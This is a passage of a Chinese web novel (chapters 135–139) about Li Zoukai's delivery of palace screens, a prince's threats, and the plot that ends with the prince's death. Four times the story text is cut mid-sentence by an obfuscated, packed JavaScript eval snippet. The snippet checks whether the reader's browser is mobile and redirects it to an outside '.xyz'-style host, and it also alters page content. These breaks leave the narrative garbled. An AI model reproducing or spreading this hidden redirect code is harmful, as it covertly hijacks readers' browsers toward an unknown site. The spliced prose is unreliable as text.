日头已过未时,他抬眼望了望官道尽头,眉头皱得越来越紧,转头对身边的从六品文书官嘀咕:“都这时候了,楚家的人还没到?” 文书官赶紧陪笑:“林大人别急,许是路上耽搁了?楚家做了这么多年的生意,向来守信,总不至于误了时辰。” “以前是以前。”林大清嗤了声,语气里满是不屑,“现在楚家是那个女人掌权,一个妇道人家,懂什么朝堂采办的规矩?怕是连屏风的榫卯都认不全,指不定早被底下人糊弄了,这会儿正急着到处凑货呢。” 他顿了顿,声音沉了些:“真要是误了明日进宫的时辰,朝廷可不是吃素的!轻则罚没楚家这次的采办款,重则直接摘了他们金陵织造的牌子!到时候别说做生意,能不能保住祖宅都两说。” 文书官听他这话里带着明显的不待见,哪还敢接话?只低着头装没听见。 林大清却还没完,又道:“我看呐,楚家这趟悬咯,那女人怕是撑不起这么大的摊子,不如趁早把家业交出来,省得连累了朝廷的差事。” “是谁说楚家不行的?” 话音刚落,一道清朗的声音突然从官道那头传来。 林大清猛地转头,就见李奏凯扶着慕容彪,带着一队人马浩浩荡荡地过来了。 十几辆大镖车跟在后面,车板上的绸缎虽沾了泥,却掩不住底下屏风的精致轮廓。 “你……” 林大清的脸“唰”地白了,眼里满是难以置信。 他前几日才收到妹妹林晓红的信,信里把楚二爷和玉京赵家怎么算计楚家的事写得明明白白! 说楚二爷已在青石坡设了埋伏,赵家也派了人在望河桥堵截,按说李奏凯要么死在半路,要么被林晓红抓进衙门,怎么会好端端地出现在这儿?还带着栽满屏风的镖车? 李奏凯走到他面前,拱手笑道:“林大人久等了!楚家的屏风如期送到,劳您亲自在这儿等,实在过意不去,嘿嘿……” 第135章 二王子有请 第一百三十五章二王子有请 看着李奏凯充满匪气的笑容,林大清张着嘴,竟是半天没说出话来。 他原以为楚家这趟必栽,甚至都盘算着等楚家误了时辰,就顺势把采办的差事转给赵家,还能落个人情。 可现在李奏凯不仅到了,还来得稳稳当当,他那些算计,岂不是全成了笑话? 尤其是想到林晓红信里说“必将李奏凯拿下”,再看看眼前站得笔直的李奏凯,林大清的脸一阵青一阵白,难看极了! 他怎么也想不通,楚二爷和赵家联手,布下天罗地网,竟连个李奏凯都没拦住?这小子到底是从哪儿钻出来的能耐? 李奏凯瞧着他那副惊慌失措的样子,嘴角勾了勾,对付这种等着看笑话的人,最好的回应,就是站在他面前,告诉他:你算错了! 林大清捏着文书的手青筋都绷起来了,却还得硬撑着摆官架子:“验完了就签字画押,朝廷差事,别耽误时辰!” 李奏凯没接文书,反倒侧身让开,冲镖车抬了抬下巴,声音朗得能让周遭小官都听见: “林大人还是亲自过过眼稳妥!毕竟这批屏风金贵,路上又‘巧了’遇着劫道的,虽说没丢,可万一被歹人动了手脚,回头朝廷怪罪下来,您这采办主事的差事,怕是要担风险吧?” 这话像根软刺,扎得林大清眼皮直跳。 他哪敢真细验? 万一挑不出错,反倒显得自己找茬;可若不验,又落了个“失职”的话柄。 周围几个小官果然凑在一起低声嘀咕,眼神直往他身上瞟。 林大清咬着后槽牙:“不必了!楚家……哼,还不至于敢糊弄朝廷!” “那那便多谢大人信得过。” 李奏凯接过文书签了字,转手递给慕容彪时,故意笑着补了句,“彪子,你刚还念叨啥来着?说官驿的酱肘子比追凤楼的还香?” 慕容彪立刻心领神会,摸着肚子嚷嚷:“可不是嘛!前几年跟着楚老爷送贡品,官驿的宴那叫一个地道!尤其酱肘子,炖得稀烂,一抿就化——凯兄弟,咱这次按时送到,总该有口热乎的吧?” 林大清脸“腾”地红透了,刚要拍桌子说“没有”,宁文轩直接把巡抚宁家的腰牌往旁边石桌上一放,笑得漫不经心: “林大人该不会忘了规制吧?我爹说过,采办方如期交验要紧货,官驿设宴是体面,也是朝廷的规矩,总不能让楚家兄弟饿着肚子回去,倒显得朝廷小家子气?” 这话堵得林大清哑口无言。 周围小官们早憋不住笑,有人还故意扬声应:“宁公子说得是!楚家这次辛苦,该请!” 李奏凯瞥了眼林大清铁青的脸,又慢悠悠补了句:“其实也不用太铺张,有口热汤就行!倒是林大人,刚还说楚家掌家的是妇道人家——巧了,这批屏风图样,正是楚夫人亲自盯着绣的,您瞧这缠枝莲纹,针脚比去年赵家送的还匀呢。” “你!” 林大清气得手都抖了,却被小官们的哄笑声盖了话音。 他哪敢接这话? 承认楚夫人能耐,等于打自己脸;若说不好,又怕被揪着“诋毁商户”的错处。 最后只能梗着脖子冲文书官吼:“还不快去备宴!多……多弄俩硬菜!” 李奏凯笑着冲宁文轩递了个眼色,三人凑在一起时,慕容彪还故意压低声音嘀咕:“这老小子脸跟猪肝似的,真解气!” 宁文轩跟着笑:“待会儿吃饭时,我再‘不小心’提提他妹妹林晓红在青石坡的事……” 李奏凯忍着笑摆手,眼角余光瞥见林大清背对着他们攥拳的样子,心里畅快得很! 对付这种憋着坏水的家伙,就得把他的体面一点点扒开,让他知道,楚家不是软柿子,想捏?得先掂量掂量自己的手够不够硬。 第二天一早,李奏凯、慕容彪和宁文轩三个正坐在官驿的院子里啃早饭。 白面馒头就着酱肘子,喝的是温热的小米粥,昨晚的宴吃得舒坦,睡了一夜,李奏凯身上的伤都轻快了不少。 慕容彪嘴里塞得鼓鼓囊囊,含糊不清地笑:“还是朝廷的饭实在,比楚家后厨做的还香。” 李奏凯刚笑着点头,就见林大清板着张脸从外头进来,身后还跟着两个侍卫,瞧着就没好气。 慕容彪立刻凑趣,举着半个馒头喊:“林大人早啊!要不要来口?这馒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244798|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头喧软得很!” 林大清没理他,径直走到李奏凯面前,声音硬邦邦的:“二王子要见你。” “啥?!” 慕容彪手里的馒头“啪嗒”掉在桌上,眼睛瞪得溜圆,“二王子?哪个二王子?” 宁文轩也愣了! 二王子可是当今圣上跟前最受宠的儿子,地位尊贵得很,寻常商户别说见了,连提都难能提到。 他拽了拽李奏凯的胳膊,压低声音急道:“凯哥,二王子咋会突然见你?” 李奏凯心里早“咯噔”一下,面上却只嘿嘿笑了两声,没接宁文轩的话,只抬眼问林大清:“不知王子殿下在哪见我?” 林大清瞧他这副不慌不忙的样子,心里更窝火,却只能沉声道:“马车在外头等着,跟我走就是。” 等林大清转身往外走,慕容彪还在旁边急:“凯兄弟你倒是说啊!二王子找你干啥?” 李奏凯拍了拍他的肩,没明说,但他心里门儿清,十有**是冲着苏璃月和凌霜来的。 总之这二王子,九成是敌,剩下一成也绝不是友。 他跟着林大清往外走,阳光照在身上,却没半点暖意,本以为送完屏风就完事了,没成想,更大的麻烦在后头等着呢。 马车没往皇宫方向去,反倒拐进了城西一条僻静的巷子,停在一座青砖灰瓦的宅院外。 这院子看着普通,门口却守着两个面无表情的侍卫,腰间佩着制式特殊的弯刀。 不是宫廷侍卫的样式,倒像是江湖上顶尖**的行头。 李奏凯跟着林大清下车时,心里的疑团更重了。 二王子见他,不在宫里也不在官驿,偏选这么个隐蔽的私人宅院? 是怕人看见,还是……想在这里做些见不得光的事? 他悄悄摸了摸袖管里的短刀碎片,指尖有些发紧,要是真动起手,这院子里的侍卫怕是不好对付。 武力不行,只能智取了! “王子殿下在里头等着,你自己进去。” 林大清撂下这话,头也不回地就上了马车,像是多待一刻都嫌晦气。 李奏凯深吸口气,推开半掩的院门。 第136章 你没得选择 第一百三十六章你没得选择 院里没什么花草,只铺着青石板路,直通向正屋。 他刚走到屋檐下,就见两个侍卫掀开门帘,里头的光线不算亮,正对着门的太师椅上,坐着个穿月白锦袍的年轻男人。 正是二王子,完颜璟。 他没戴冠,只松松挽着发髻,手里转着颗玉扳指,抬眼看向李奏凯时,眼神淡得像水,却透着股压人的气场。 明明没什么动作,却让人不敢轻易直视。他身后立着四个侍卫,个个站姿笔挺,手按在刀柄上,指尖微动,一看就是随时能扑上来取人性命的高手。 李奏凯心里一凛,脸上却立刻堆起憨笑,挠着后脑勺弓了弓腰,活脱脱变回了当初在牛头村的样子: “这位……就是二王子殿下?嘿嘿,小人李奏凯,给殿下请安。不知殿下找小人来,是有啥吩咐?” 完颜璟没说话,只拿眼上下打量他,目光在他身上的旧伤和沾着泥的衣摆上停了停。 李奏凯还在装傻,搓着手嘿嘿笑:“殿下这院子真干净……比俺们牛头村头的晒谷场还利索。” “李奏凯。” 完颜璟终于开口,声音不高,却带着不容置疑的冷意,“你还要在我面前演戏演到什么时候?” 李奏凯脸上的笑僵了僵。 完颜璟指尖敲了敲太师椅的扶手,玉扳指碰撞木头的声音在安静的屋里格外清晰:“青石坡设伏,望河桥调包,把楚明诚和赵家耍得团团转——你当本王不知道?” 他抬眼,眼神陡然锐利起来,“收起你那套村夫的把戏。在本王面前,没用!” 李奏凯见戏被拆穿,脸上的憨笑收得干干净净,站直了身子拱手道:“殿下慧眼,是小人孟浪了!不知二王子殿下唤小人来此,有何指示?” 完颜璟指尖停在玉扳指上,抬眼直勾勾盯着他,没半点绕弯子的意思:“璃月现在怎么样?可还好?” 李奏凯心里咯噔一下,果然是为了大娘子! 他定了定神,语气平稳地答:“回二王子,大娘子跟着小人,衣食无忧,如今气色比从前还好,脸颊都透着红润。” 这话一出,完颜璟握着扶手的手猛地收紧,指节泛白,周身的怒气肉眼可见地往上涌。 他身后的四个侍卫也往前挪了半步,腰间的刀似有若无地往外抽了半寸,冰冷的杀意直往李奏凯身上逼。 李奏凯后背的冷汗瞬间冒了出来,却强装镇定,又补了句:“殿下尽管放心,小人待大娘子向来敬重,绝不敢委屈了她。” “敬重?” 完颜璟突然低喝一声,猛地一拍太师椅扶手,“砰”的一声响在屋里炸开! 李奏凯被这声惊得微微一颤,随即干脆顺势往地上一趴,做出被吓得腿软的样子,头埋得低低的:“殿下息怒!小人……小人说的都是实话!” 完颜璟却没理会他这副模样,声音冷得像淬了冰:“你且老实说,你和璃月,有没有行过周公之礼?” 这话一问出,屋里的空气瞬间凝固了。 四个侍卫的目光像刀子似的扎在李奏凯背上,连呼吸都放轻了,仿佛他只要敢说半个“是”字,下一刻就会被乱刀**。 李奏凯趴在地上,能清晰地听见自己“咚咚”的心跳声,这问题,简直是在刀尖上问话。 说是,这完颜璟怕是当场就要翻脸取他性命; 说不是,以这二王子的心思,未必信他,反倒可能觉得他在糊弄,一样落不得好。 “快说!” 完颜璟的声音裹着寒气,“三——” “二——” 倒数声像催命符似的砸下来,李奏凯牙关一咬,横竖都是险,不如赌一把! 他猛地抬头,梗着脖子道:“行了!不仅行过,还是两次、三次!” 这话一出,屋里静得落针可闻。 完颜璟的脸“唰”地黑透了,眼尾都泛着红,握着扶手的手青筋暴起,那模样像是要**。 身后四个侍卫也愣了,眼神古怪得很。 谁不知道二王子惦记苏璃月多年,视若禁脔,如今竟被这么个“泥腿子”占了先? “可恶!” 完颜璟猛地踹翻了脚边的矮几,茶杯碎了一地,“给我杀了他!” 四个侍卫应声扑上,刀光瞬间亮得晃眼。 李奏凯武力值虽有9分,可这四个侍卫都是完颜璟精挑细选的顶尖高手,合围之下他根本撑不住! 不过三招就被一人一脚踹在膝弯,噗通跪倒在地,跟着就被反剪了胳膊按在地上。 冰冷的刀锋贴着他的脖子划过来,眼看就要落下! “你杀了我!永远也别想得到璃月!更别想得到王位!” 李奏凯闭着眼嘶吼出声,声音都惊劈了。 “停!” 刀锋停在离喉咙不足半寸的地方,割出的血丝顺着脖颈往下淌。 李奏凯猛地睁开眼,冷汗早把里衣浸透,后背黏糊糊地贴在地上,连呼吸都带着颤。 刚才那一瞬间,他真以为自己要**,大结局了! 完颜璟盯着他,胸口剧烈起伏着,眼神阴鸷得吓人:“你,刚说什么?” 李奏凯咽了口唾沫,强撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244799|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着道:“苏璃月是前朝公主,她手里握着前朝旧部的名册!您想娶她,不就是为了借那些旧部的势力,压过大王子,争夺王位吗?” 这话是他前几日跟苏璃月闲聊时听来的。 那时苏璃月叹着气说,完颜璟追得紧,不光是念着旧情,更因为她身上有前朝的“底气”。 大王子虽在顺位上占先,可若完颜璟能娶到苏璃月,拉拢前朝旧部,胜算便能翻倍。 果然,完颜璟的脸色变了变,盯着他的目光多了几分探究。 李奏凯缓了缓气,又道:“您杀了我,璃月恨您入骨,那名册您永远别想拿到!可若您留着我……我或许还能劝劝她……” 他赌对了。 这筹码,果然救了他一命。 “好,很好。” 完颜璟盯着李奏凯,指尖又转起了玉扳指,语气却比刚才缓和了些,“那我就给你和苏璃月一个机会。” 李奏凯心里一紧,还没来得及细想,就听完颜璟继续道:“一周之内,把苏璃月接到京城来!” “接来做什么?” 李奏凯脱口而出,心里瞬间慌了! 这完颜璟对大娘子心思不正,把人接来京城,不就是羊入虎口?到时候别说保大娘子安全,能不能再见到她都难说。 完颜璟却没回答,只抬眼瞥了他一下,那眼神带着不容置喙的强势:“你不需要知道做什么。” 他站起身,月白锦袍扫过地上的碎瓷片,“你没得选择!” 李奏凯刚要争辩,就听完颜璟慢悠悠补了句:“我现在知道你们在金陵的墨香庄坊,也知道你在楚家的住处,若是一周后见不到苏璃月,我会让楚家、墨香庄,还有你身边的人,全部连根拔起!” 这话像块冰,砸得李奏凯心口发沉。 他知道完颜璟不是在吓唬人,这二王子有这权势,也有这狠劲。 完颜璟没再看他,转身就往外走,四个侍卫紧随其后,只留下李奏凯一个人在空荡荡的屋里。 刀锋划过脖颈的刺痛还在,地上的碎瓷片闪着冷光,提醒着他刚才有多凶险。 李奏凯缓了好一会儿才撑着地面站起来,走到院门口时,还忍不住回头望了望那座宅院。 完颜璟到底想干什么?接璃月来京城,是想逼婚,还是有别的算计? 他猜不透,只觉得这一周的时间,像是悬在头顶的刀,随时可能落下。 他沿着巷子慢慢走,阳光照在身上却没半点暖意。 慕容彪和宁文轩还在官驿等着,楚家那边也得给个交代,可眼下这烂摊子,他该怎么收拾? 第137章 密谋大事! 第一百三十七章密谋大事! 李奏凯刚回到官驿,慕容彪和宁文轩就围了上来,一个拽胳膊一个递水,追问个不停。 “凯兄弟!二王子找你到底干啥?没为难你吧?” 慕容彪急得直搓手,眼神还往他脖子上瞟,那道血丝虽浅,却看得清清楚楚。 宁文轩也皱着眉:“是啊,大哥,看你脸色不太好,是不是出啥事儿了?” 李奏凯揉了揉眉心,二王子逼他接苏璃月来京城的事太棘手,一时不知怎么开口,只能含糊道:“没事,就是问了些楚家生意上的事。” 慕容彪哪肯信,刚要再问,却突然一拍大腿:“算了算了!不说这个!咱好不容易来趟京城,总不能窝在官驿里吧?走!我知道京城西市有家‘醉仙楼’,酱肘子比官驿的还香,咱去搓一顿!” 宁文轩也跟着劝:“是啊,大哥,出去走走也好,顺便我也帮你探探京城的风声,我爹在这儿还有些旧部,或许能打听着点消息。” 他也看得出李奏凯现在有点心烦意乱,才碎嘴一说。 李奏凯心里正烦乱,想着出去转转说不定能理清思路,便点了点头。 三人出了官驿往醉仙楼走,刚拐过两条街,就觉出不对劲。 往常热闹的街上,官兵比平时多了不少,而且都握着刀,神色紧张,不像寻常巡逻。 有两队官兵擦肩而过时,李奏凯还隐约听见一句“城西粮仓那边加派人手”。 到了醉仙楼,刚坐下点完菜,慕容彪就借着去后厨催菜的功夫,跟相熟的店小二聊了两句。 回来时压低声音道:“凯兄弟,不对劲!店小二说,这两天夜里总有人往宫里运东西,用的还是遮得严严实实的黑马车,连灯都不敢点。” 宁文轩也皱着眉,指尖敲着桌面:“我昨天还问了我爹在京城的旧部,说是大王子前两天突然调了一批亲信去守城门,还不让二王子的人靠近,这在以前从来没有过。” 李奏凯端着茶杯的手顿了顿,把两人的话在心里过了一遍: 官兵异动、深夜运货、两位王子的人互相提防…… 这些细碎的线索拼在一起,一个可怕的念头冒了出来! “京城怕是要出大事了。” 李奏凯沉声道,“官兵加强巡逻,是防着有人**;深夜运货,说不定是在囤粮囤兵器;大王子和二王子的人划清界限,这是在互相防备,京城这是有叛变的先兆啊。” 慕容彪瞪圆了眼:“叛变?这么严重?” 宁文轩也脸色一变:“难怪二王子会突然找你……他怕是也在为这事儿做准备,想拉苏大娘子的势力入伙?” 李奏凯没说话,心里却沉甸甸的。 他原以为只是二王子想抢苏璃月,没成想竟牵扯上了宫廷争斗。 若是京城真的马上乱起来,别说接苏璃月来京城,就连他自己能不能活着回金陵都难说。 窗外的街上,又一队官兵匆匆走过,脚步声踏在青石板上,像敲在三人心里。 李奏凯攥紧了茶杯,指节泛白,这京城,远比他想的还要凶险。 李奏凯不敢在京城多待,趁着动势还没起来,当天就带着慕容彪、宁文轩快马赶回金陵。 三人兵分三路,慕容彪回楚家报信,宁文轩回巡抚家,他则是马不停蹄回去见两位娘子。 一进墨香妆坊,就见苏璃月和凌霜正站在院里等他,脸上还带着盼他平安归来的笑意。 “你可算回来了!” 凌霜率先迎上来,伸手想帮他随便整理下衣服,却见李奏凯脸色凝重,额角还沾着赶路的风尘,半点没有久别重逢的轻松。 苏璃月也看出不对劲,拉着他的手腕往内屋走,声音柔却沉:“进屋说,定是在京城出了些事?” 进了内屋,李奏凯把完颜璟逼他接人、京城官兵异动、两位王子互相提防的细节一五一十说完,最后攥紧拳头: “完颜璟要我一周内带你去京城,他打的什么主意,不用我说你也清楚。” 凌霜听得脸色发白,下意识握紧了苏璃月的手:“那怎么行?去了京城,岂不是羊入虎口?” 苏璃月却沉默着坐下,指尖轻轻敲击桌面,片刻后抬眼看向李奏凯,眼神里没了往日的温婉,多了几分果决:“他想要的,从来不是我,是我手里的前朝旧部。” 她深吸一口气,终于全盘托出:“那些旧部不光在全国各地,大半都潜伏在京城,有的甚至混进了朝廷的禁军和六部当差!” “我一直没敢联系,就是因为我们还没准备好,怕打草惊蛇惊动皇上,让他们落得被连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244800|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根清除的下场!” 李奏凯和凌霜都愣住了,没想到苏璃月的旧部竟藏得这么深。 “但现在不一样了。” 苏璃月眼中闪过一丝锐光,“完颜璟想叛变夺位,这倒是个机会。我们可以将计就计,顺着他的意思去京城,等他和大王子斗得两败俱伤时,再暗中发动旧部!” “成了,能保旧部周全,还能让这混乱的朝局有个转机;败了,大不了一死和他们拼了,总好过一辈子躲躲藏藏好。” “不成功便成仁?”李奏凯看着她的眼睛,见她点头,便也咬牙道,“好!就按你说的来!我陪你去这一趟!” 凌霜虽担心,却也知道事已至此,躲不过去,便握紧拳头道:“我也去!我爹留下的那些江湖朋友,在京城也有些门路,说不定能帮上忙。” 当晚,三人在屋里彻夜长谈,苏璃月详细说了旧部的联络暗号和隐藏地点,凌霜也梳理了能调动的江湖势力。 李奏凯则把从京城带回的消息和应对之策一一对应,到时候谁负责沿途的安全,谁在京城接应,都提前安排得明明白白。 窗外的月光透过窗纸洒进来,映着三人紧绷却坚定的脸。 因为时间关系,来不及慢慢苟着发展了,一场以卵击石却暗藏转机的赌局,就这么定了下来! 李奏凯带着苏璃月、凌霜准备动身返回京城时,宁文轩那边却出了岔子。 他刚收拾好行李,本来打算再跟着凯哥去办大事,就被亲姐姐宁砚香堵在了家门口。 “你背着我收拾行李,要去哪?” 宁砚香微微蹙眉,眼神锐利得像刀子,“这些天你跟着李奏凯到处神神秘秘的,到底在干些什么?” 宁文轩本想装傻,可被姐姐盯得发怵,再想到凯哥要去京城干的大事,终是忍不住,梗着脖子道:“凯哥要去京城办大事,我得跟着他!” “办大事?什么大事值得你瞒着家里跑那么远?” 宁砚香不依不饶,伸手拽住他的胳膊,“今天你不说清楚,别想出这个门!” 宁文轩被缠得没办法,又想着这事或许和自己家也有关,便压低声音,把李奏凯遭遇二王子完颜璟胁迫、京城暗藏叛变先兆全说了出来。 就连李奏凯发动旧部的事,他知道的也说了。 第138章 你是我的人了 第一百三十八章你是我的人了 “你说什么?!” 宁砚香惊得瞪圆了眼,手里的力道都松了,“这可是谋逆的大事!你们疯了?” “姐,当今朝廷施行**,这可是为民**的大事,我必须要跟着大哥去办啊!” 宁文轩就整天做着英雄梦,这种事肯定不能错过! 宁砚香想了想,也不敢耽搁,拉着宁文轩就往巡抚府跑。 他们的父亲,现任应天巡抚宁仲谋,可是当年跟着老圣上打天下的忠臣,这种事绝不能坐视不理。 宁仲谋听完儿子的话,手里的茶杯“哐当”一声落在桌上,茶水洒了一地。 他站起身来回踱步,眉头皱得能夹死蚊子:“胡闹!太草率了!完颜璟和大王子斗得正凶,苏璃月又是前朝公主,这时候掺进去,稍有不慎就是满门抄斩!” “爹!” 宁砚香急道,“可这也是机会啊!二王子要是真反了,朝廷动荡,百姓遭殃!咱们要是不帮,这样千载难逢的机会百年不会再有!” 宁文轩也跟着劝:“爹,凯哥是个靠谱的人,明月公主藏得深,我们帮他们未必没有胜算,再说,您不是一直感念老圣上的恩吗?这正是报答的时候!” 宁仲谋停下脚步,看着一双儿女坚定的眼神,又想起这些年完颜璟恃宠而骄、大王子结党营私的乱象,终是叹了口气:“罢了……这浑水,咱们是躲不过去了。” 他走到书桌前,提笔写了封信,盖上巡抚大印,递给宁砚香:“把这个交给李奏凯,信里有我在京城布防司的旧部联络方式,关键时刻或许能帮他们!另外,你带人跟文轩一起去——路上也好有个照应,记住,凡事低调,别暴露身份。” 宁砚香和宁文轩对视一眼,都松了口气。 另一边,李奏凯刚带着苏璃月、凌霜赶到城门口,就见宁砚香姐弟俩追了上来。 接过宁砚香递来的信,看完内容后,他心里一暖,原以为这趟京城之行是孤军奋战,没想到竟多了巡抚府的助力。 “那就多谢宁小姐了!” 李奏凯拱手道谢。 宁砚香摆摆手:“别谢我,谢我爹吧!记住,到了京城万事小心,我们姐弟俩会跟在你们后面,有情况随时联络。” 李奏凯点头,带着众人上了马车。 车轮滚滚,朝着京城的方向驶去,这一次,他们不再是孤军,也多了几分胜算。 李奏凯带着苏璃月、凌霜刚到京城街口,就被几个面生的侍卫拦住!正是完颜璟派来接人的。 一路穿过几条僻静的巷子,再次回到了上次那座青砖大宅院,只是这次院里的气氛,比上次更压抑。 刚进正屋,就见完颜璟一袭大红锦袍,端坐在太师椅上,往日的冷静自持早已不见,眼神像着了火似的,死死黏在苏璃月身上。 “璃月,你终于来了。” 他起身快步上前,伸手就想去拉苏璃月的手腕,语气里满是压抑不住的狂热,“这些天,我好想你!” 苏璃月侧身避开,往后退了半步,声音冷得像冰:“二王子请自重!我得圣上赐婚,如今是李奏凯的妻子,不是你能随意触碰的女人。” “妻子?” 完颜璟嗤笑一声,转头看向李奏凯,眼神里满是轻蔑,“就凭他?一个泥腿子也配娶你?璃月,只有我才配得上你!只要你跟了我,将来我当了皇上,你就是皇后!” 李奏凯见他要对娘子动手动脚,直接上前一步,将苏璃月护在身后,怒视着完颜璟:“你别做梦!璃月绝不会跟你!” “做梦?” 完颜璟脸色一沉,冲侍卫喝令,“把这个碍事的东西拖出去,打死!简直不知天高地厚!” 两个侍卫立刻扑上来,就要抓李奏凯的胳膊。 李奏 “住手!” 苏璃月突然开口,声音尖锐得有些发颤,她抬手按住自己的脖颈,眼神决绝,“你敢动他一根手指头,我现在就死在你面前!反正我活着也是被你胁迫,不如**干净!” 完颜璟看着她眼底的狠劲,又想起她手里的前朝旧部名册,终是咬了咬牙,冲侍卫喝了声:“退下!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244801|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他盯着苏璃月,语气阴鸷:“好,我不杀他!但你,必须留下陪我。” 说完,他冲另外两个侍卫使了个眼色。 那两人立刻上前,将还想反抗的凌霜按在地上,绳索瞬间捆住了她的手脚。 “放开我!你们敢动凯哥和姐姐,我饶不了你们!” 凌霜挣扎着怒吼,却被侍卫死死捂住了嘴。 苏璃月看着被按住的凌霜,又瞥了眼李奏凯,眼底闪过一丝复杂的情绪。 她深吸一口气,对完颜璟道:“我跟你走,但你得保证,不伤害他们两个。” “只要你听话,我自然不会为难他们。” 完颜璟脸上露出得逞的笑,伸手揽住苏璃月的腰,就要往内屋带。 苏璃月被他拽着往前走,路过李奏凯身边时,突然转头看了他一眼。 那眼神里没有恐惧,反而带着一丝不易察觉的锐利和暗示,像是在说“按计划来,别冲动”。 李奏凯攥紧了拳头,指甲几乎嵌进肉里! 他知道,苏璃月这是在忍,是在为后续的计划铺路。 可看着她被完颜璟拽走的背影,听着凌霜被捂住嘴的闷哼声,他的心像被刀割一样疼,却只能强忍着不动。 现在,还不是时候。 …… 内屋的门“砰”地关上,隔绝了里面的动静。 完颜璟的侍卫守在门口,眼神冰冷地盯着李奏凯和被捆在一旁的凌霜,空气里只剩下压抑的沉默。 内屋的门刚关上,完颜璟就迫不及待地去扯苏璃月的衣襟,锦缎被扯得“嗤啦”作响,领口瞬间敞了大半。 苏璃月假意挣扎,手却悄悄摸向发间,那里藏着一枚尖锐的银簪,是早就备好的防身利器。 “别挣扎了,璃月。” 完颜璟喘着粗气,眼神狂热得吓人,“从今天起,你就是我的人了!” 就在他的手即将碰到苏璃月腰间时,外屋突然传来“砰”的一声巨响,竟是李奏凯撞开了门! 二王子的脸,顿时露出震惊且怪异的表情! 第139章 假扮二王子 第一百三十九章假扮二王子 原来,一切都是三人早就商量好的,包括凌霜刚刚故意装没武功,乖乖束手就擒,降低守卫的警惕! 而李奏凯刚才趁着侍卫不注意,用藏在袖中的短刀碎片割开了凌霜的绳索,打对方一个措手不及,两人合力解决了门口的两个守卫,直奔内屋而来。 “住手!” 李奏凯怒吼着扑上前,手里的短刀直刺完颜璟后心。 可他忘了,完颜璟虽养尊处优,却是自幼习武的高手,武功底子远在他之上。 完颜璟像是背后长了眼,猛地侧身避开,反手一掌拍在李奏凯胸口。 李奏凯本来就伤势未愈,顿时“哇”地吐出一口血,被打得倒飞出去,撞在墙上重重摔落在地。 “就这点能耐,也敢来救人?” 完颜璟冷笑,转身就要去抓苏璃月。 凌霜趁机从侧窗扑上,手里的**直刺他的小腹,可完颜璟反应极快,抬脚就踹在她膝盖上。 凌霜震惊,吃痛跪倒在地,**脱手飞出。 “嘿嘿,璃月的贴身伺女,果然武功不俗,可惜——” 眼看完颜璟要对凌霜下死手,苏璃月突然将银簪狠狠扎向他的手背! 完颜璟唯独对喜欢的女人没有防备,“噗嗤”一声,簪尖穿透皮肉,麻药瞬间起效,完颜璟的手背立刻麻得没了知觉。 “璃月!你——” 完颜璟又疼又怒,另一只手马上抽出腰间佩刀,刀光直劈苏璃月面门。 苏璃月慌忙后退,却被桌腿绊倒,眼看就要被刀劈中。 “混蛋,尝尝这个!” 倒地的凌霜突然抓起地上的香炉,狠狠砸向完颜璟的后脑。 完颜璟听见风声,侧身躲开,可香炉砸在门框上,碎片飞溅,有一块锋利的瓷片正好划中他的脖颈,血瞬间涌了出来。 “就是现在!” 李奏凯忍着胸口剧痛,挣扎着爬起来,捡起凌霜掉落的**,拼尽全力扑向完颜璟,将**狠狠扎进他的后心! 完颜璟浑身一僵,难以置信地转头,眼里满是不甘和怨毒。 苏璃月趁机爬起来,拔出他手背上的银簪,再次扎进他的咽喉! “呃……” 完颜璟喉咙里发出嗬嗬的声响,踉跄两步,重重倒在地上,鲜血很快浸湿了他的大红锦袍。 三人都瘫在地上,大口喘着气。 李奏凯胸口疼得几乎无法呼吸,凌霜膝盖擦破了一大块皮,苏璃月的手腕也被捏出了淤青。 刚才那短短几招,每一步都在生死边缘,若不是靠偷袭、麻药和瓷片的意外,他们根本不是完颜璟的对手。 “外面……有脚步声!” 凌霜刚缓过劲,就听见院外传来密集的靴声。 是完颜璟的侍卫听到动静赶来了! 